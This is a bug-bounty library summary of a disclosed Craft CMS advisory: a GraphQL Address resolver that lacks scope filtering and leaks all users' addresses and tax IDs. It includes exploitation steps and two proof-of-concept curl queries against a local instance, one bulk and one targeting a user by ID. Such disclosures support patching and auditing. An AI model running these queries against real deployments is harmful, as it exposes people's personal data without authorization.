# Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure

Craft CMS GraphQL Address resolver skipped schema scope filtering, letting a token scoped to one user group read all addresses including restricted users' PII and tax IDs.

- Payout: Research
- Severity: high
- Program: Craft CMS
- Found by: joshuaalwin
- Disclosed: 2026-05-06
- CVE: CVE-2026-44010
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gj2p-p9m4-c8gw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gj2p-p9m4-c8gw
- Tags: area:web3 domain:api impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:graphql tech:php technique:source-review vuln:access-control vuln:idor vuln:info-disclosure

**Target:** GraphQL API endpoint /actions/graphql/api, Address element resolver
**Root cause:** The Address element resolver (src/gql/resolvers/elements/Address.php) omits GqlHelper::extractAllowedEntitiesFromSchema() scope filtering applied by every other element resolver; the only gate is a binary canQueryUsers() check that passes if the token can access any user group.
**Steps:**
1. Obtain a GraphQL API token scoped to a single low-privilege user group (e.g. publicUsers:read).
2. Introspect Query type: `{"query": "{ __type(name: \"Query\") { fields { name description } } }"}` to confirm `addresses` is exposed.
3. Enumerate AddressInterface fields to find PII surface (fullName, addressLine1, organizationTaxId, etc.).
4. Baseline: query `{ addresses { id fullName ... } }` — returns only in-scope users' addresses.
5. Query `{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }` — returns all addresses system-wide including out-of-scope groups.
6. Targeted extraction: `{ addresses(ownerId: [3]) { fullName addressLine1 ... organizationTaxId } }` to pull a specific internal user's address.
**How found:** Manual source code review comparing resolver implementations: noticed the Address resolver lacked the GqlHelper::extractAllowedEntitiesFromSchema() call present in every other element resolver (Entry, User, Asset, Category, Tag), then verified against a local Docker instance of 5.9.17.
**Exploitation:** Any valid GraphQL token with access to at least one user group queries the top-level `addresses` field to dump every address in the system, or uses the `ownerId` argument to target specific users (e.g. admins) by ID, extracting names, home addresses, organizations and tax IDs without any elevated access.
**Escalation:** ownerId argument enables targeted IDOR against high-value users (administrators) rather than only bulk enumeration.
**Insight:** When auditing GraphQL schema scoping, diff each element resolver against its siblings — a single resolver missing the shared scope-filter helper creates a system-wide authorization gap even though the top-level gate check (canQueryUsers) still passes.

## Proof of concept (copied exactly from the original report)

**GraphQL query returning all addresses cross-scope**

```
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq
```

**Targeted IDOR via ownerId argument**

```
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq
```

